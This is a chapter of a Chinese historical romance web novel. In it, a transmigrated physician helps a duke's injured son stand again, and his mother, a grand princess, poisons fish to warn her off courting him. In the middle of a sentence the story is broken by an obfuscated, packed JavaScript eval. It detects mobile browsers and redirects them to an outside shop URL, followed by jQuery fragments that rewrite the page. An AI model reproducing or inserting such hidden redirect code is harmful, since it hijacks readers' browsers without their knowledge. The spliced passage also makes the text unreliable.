*
安仁坊,魏国公府。
春晖懒洋洋的洒在窗棂上,俏丽的黄莺在枝头跳来蹦去,叽叽喳喳个不停,乌溜溜的眼睛盯着窗内的人影,充满了好奇。
“曲一下左腿。”“很好,再曲一下右腿。”“双腿抬起来看看。”
谢挽洲的背脊直直地靠在床围子上,按照沈灼华的指令,缓缓活动着双腿。
经过沈灼华一个多月的精心护理,谢挽洲的双腿恢复良好,膝盖骨骼恢复的与常人无异,沈灼华很欣慰,这感觉就像……
就像是一颗快要枯死的树苗,经她浇水、除虫、松土、施肥后,再看着它一点点重新发芽,抽条,换发生机,茁壮成长一样欣慰。
“恭喜小郎君,你的双膝愈合的非常不错,你可以尝试着下榻站一站。”
闻言,谢挽洲微微蹙眉,似乎还没做好重新站起来的准备,略显踟蹰。
“小郎君别怕,有我在,我不会让你再受伤的,你只需要相信自己,下榻试一试,不试的话郎君又怎知自己到底行不行?”沈灼华耐心鼓励。
似是她的话真的激励到了谢挽洲,只见他隽秀的双眉舒展开来,小心翼翼地挪着自己的双腿垂下床榻。
沈灼华就站在他附近,以防他摔倒。
谢挽洲清癯白皙的双手覆盖在自己的双膝上,微微摩挲了一番,抬头再次看向沈灼华。
沈灼华冲他微微一笑。
谢挽洲回以莞尔,旋即,低头,吸气,一鼓作气地起身。
谢挽洲身量修长,随着他的起身,就如一棵修竹拔地而起,瞬间罩在她的上方。
二人谁也不敢呼吸。
直到谢挽洲的双腿稳稳地扎在地上。
“我可以……”谢挽洲低头难以置信地看了一眼自己的双腿,笔直,有力。
他本以为他的双腿会随着他的意志一起消沉腐朽下去,没想到自己还会有站起来的一天,仿若新生一般。
“我可以站起来了。”
他内心过于激动,以致产生自己能走的错觉,几乎不假思索地抬起腿向前迈了一步。
不料,未迈出的膝盖顿时传来一阵刺痛,向前猛地曲下,整个人开始向前扑了去。
沈灼华见状,眼疾手快地从正前方接住了谢挽洲。
谢挽洲虽清瘦,但身量毕竟摆在那里,沈灼华这么一接,整个人几乎是用双肩抵住谢挽洲倾颓下来的玉山。又生怕谢挽洲歪斜出去,她双手忙环到谢挽洲的背后,牢牢的将他抱住。
“唔——”
谢挽洲看起来清瘦,但压下来不是一般的重,沈灼华累的闷哼了一声。亏得自己前世有些练家子的根基在,只可惜露凝霜的身子毕竟未经任何操练,沈灼华虽抵住了谢挽洲,却十分费力。
“没事了没事了,我接住了。”她翘起头,冲谢挽洲微笑,一边咬牙将谢挽洲往回抵,想让他重新站好。
其实在沈灼华接住他的一瞬间,谢挽洲就已经能稳住身体,也有余力重新站回去,可当少女仰起俏丽的脸庞,冲她展颜一笑时,他的神魂仿佛瞬间被摄入了进去。
这样的眉眼。
这样熟悉的眉眼,他日思夜想。
如今,近在眼前。
光影流转,少女的脸就像那朝露间盛开的栀子花,欺霜赛雪,诱人垂涎。
鬼使神差地,谢挽洲缓缓低下头去,对着少女的眉眼想要压下去。
沈灼华感受到肩上的压力在加重,又见谢挽洲的头缓缓垂下,还以为谢挽洲痛的站立不住,忙又加了一层力将谢挽洲的身体抵回去,顺势揽住他的腰往后压。
“来来来。”
“坐坐坐。”
沈灼华费了九头二虎之力,终于将谢挽洲按了回去,然后如释重负地叉着腰喘息。
谢挽洲:“……”
谢挽洲重新坐回到了榻上,神色怔怔。
沈灼华那杨柳似的身段微微弯下,淡淡的莲花药草香气再次袭来,略显焦急的声音在他头顶上方响起。
“小郎君莫要心急,只要能站起来,很快就能恢复行走,今日我们只需尝试站立,以后再慢慢锻炼行走。”
少女的声线里透着难得的温柔,似那山涧清澈的小溪,缓缓地淌过人的心尖。
“小郎君?”一只手在他的面前晃了晃。
谢挽洲神魂瞬间归位,视线定格在沈灼华干净细腻的掌纹上。
干咳了一声,谢挽洲将脸别开。
淡淡道:“我知道了。”
上方的人儿长长舒了一口气,显然,方才她也累的不轻。
少女身上若有若无的莲花药香始终盘绕在鼻端,他忍不住暗暗深吸了一息藏进肺腑中。
“你身上是什么香?”谢挽洲忍不住问。
沈灼华愣了下,眨了眨眼。
好一会儿反应过来,谢挽洲应该是在问她的衣裳熏的是什么香。
那是露凝霜自己用中药同莲花瓣研制的香料,用来研书时醒神的,她闻着也喜欢就用作了日常熏香,想是素日里熏香时沾染了些许到身上。
“独门秘香。”沈灼华并不想同谢挽洲在这个话题上多聊。
看看天色,差不多要离开了,她又说了些嘱咐的话,这才背着药箱告辞。
纤细的身影逆着光很快消失在门外。
谢挽洲坐在塌边,呆呆地望着空荡荡的门口出起了神。
沈灼华轻车熟路地穿过游廊,出了月洞门,踏在竹林掩映的石青小径间往外走。
她还是比较喜欢侧门上的那条幽静小路,不似大门中路那般威严,小径通幽,别有一番风情。
正走着,斜刺里忽然冲出来两个府兵拦住了她的去路。
但看衣着又不似国公府里的人,倒像是……
“露娘子,殿下有请。”
能在国公府里称“殿下”的,恐怕只有安阳大长公主,谢挽洲的亲娘——卫臻。
卫臻要见她?
……只怕没什么好事。
一股不好的预感爬上心头,这样的情况自然是三十六计走为上计。
“真是不巧,民女还要赶着去为其他病患看诊,告辞。”她提腿就要走。
“苍啷——”
一柄泛着寒光的刀刃横在她的去路上。
*
魏国公府后花园,卫臻临着汉白玉栏杆而立,面向荷花池。
孟春时节,荷花池里还是一片萧瑟的枯萎,清澈的池水里,倒是有鱼群在游来游去。
沈灼华被府兵带到了荷花池附近。
见卫臻没有转身的意思,沈灼华只好硬着头皮,上前叉手躬身行礼:“民女见过殿下。”
卫臻不言,缓缓伸出莹润白净的手,从一旁侍女手中的葵口盏里,捏了一丢鱼食,洒进池塘中,立即引来一群灰色的小野鲫,同几只红白相间的鲤鱼抢食。
别看那些鲫鱼个头小,但由于是野生的,战斗力极强,很快从那几只个头庞大的鲤鱼嘴下抢走了鱼食。
卫臻没说免礼,她一介平民也不敢擅自起身,这显然是在给她下马威,高门大户,尤其主母们最常见的手段。
沈灼华只能保持着叉手躬身的姿势等待着。
等得她腰都快酸了,卫臻还是没动静。
沈灼华很快明白了,卫臻不仅在给她下马威,还在敲打她。
但沈灼华不明白的是,卫臻因何要敲打她,她自问救治谢挽洲尽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985890|134610||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
心尽力,如今谢挽洲双腿已然恢复大半,用不了多久,他就能恢复往日的活蹦乱跳。
卫臻作为谢挽洲的亲娘应该感激她才对,为何还要为难她?
她百思不得其解。
“你看。”卫臻终于开口了。
沈灼华顺着卫臻所指的方向看去,只见平静的水面上,方才还游来游去的十几条灰色的野鲫,全部泛着白色肚皮,漂浮在上面。
沈灼华心中“咯噔”一跳。
鱼食里竟然有毒,那些从鲤鱼嘴里夺食的野鲫都被毒死了,那几只鲤鱼反而活了下来。
沈灼华眼珠子转了又转,实在参不透卫臻到底想警告她什么。
想不明白只好斗着胆子问:“民女不知殿下何意?”
卫臻伸手,立有侍女将一方湿帕递给卫臻。
卫臻接过去,慢条斯理地擦拭手指,慢慢转过身来,锐利的目光居高临下地落在沈灼华的脸上。
两次照面,她并未细看过这个女子。
如今面对面这么细细一打量,樱唇琼鼻,杏眼秋池,潋滟生光,有几分脱俗的清冷,又有几分明媚的娇艳,竟是个少见的美人胚子,若不是总一副不修边幅的男儿打扮,好好拾掇一下,必是个倾国倾城的美人儿。
难怪会迷的她那个不孝子一改死志,竟又想活了,若不是方才亲眼所见,她还以为活见鬼了。
她从初见此女就不喜,只因她那一双丹凤眼里,总透着一股子不安分的狡黠,让她有些捉摸不透。
“人自一出生就注定了他的命运,贵有贵的命,贱有贱的命,就像这些野鲫,本是贱命,非得同高贵的锦鲤争辉,下场,自然是死路一条。”
话,沈灼华都懂。
可她不懂卫臻为何要对着她说。
“还望殿下直言,民女实在听不懂殿下的意思。”
卫臻哑然,旋即哂笑一声。
贱民就是贱民,连句人话都听不懂。
“我儿出生高贵,以后与他相配的,必是高门贵女,我劝你莫要心生妄念,妄图勾引他。”
沈灼华杏目圆睁,惊地嘴都张开了。
她勾引谢挽洲?
卫臻为何会这样觉得?
她怎么可能勾引谢挽洲!她是疯了才会去勾引……
她想起来了,难道是方才谢挽洲倾倒时,她搂住谢挽洲的一幕,恰好被卫臻给撞见了?
这样就解释得通了,看来卫臻是误会她勾引谢挽洲,所以借此来敲打她。
她简直哭笑不得。
想开口解释,看到卫臻那张冷冰冰的脸时她又觉得多余,卫臻这样的人,只要起疑的事情,解释都是苍白的,唯有承诺最可靠。
“殿下放心,民女自知与世子有云泥之别,所以绝不会心生妄念,更不会去勾引世子。”
“哦?”卫臻显然很意外她的回答,半信半疑地审视着她。
沈灼华只想尽快结束这场荒谬的误会,便举指发誓道:“我露凝霜在此发誓,我与谢世子仅是大夫与患者的关系,永远不可能越界,更不会高攀谢世子,若违此事,天打五雷轰,不得好死。”
卫臻讶然。
她倒是没想到沈灼华竟然会立下如此毒誓,还立的如此决绝,难道此女对衍诚并无一点动心?
如此最好。
“智者不为非其事,你是个聪明人,最好记住今天说过的话。”说完,卫臻高傲地带着一众侍女和府兵,浩浩荡荡地离开了。
沈灼华看了一眼水面上枉死的野鲫们,无奈地合起双手对着它们拜了拜:“鱼兄们抱歉抱歉啊,真没想到竟是我连累了你们,你们放心,以后我会少吃你们的同类,好给你们积些德,助你们早日超生。”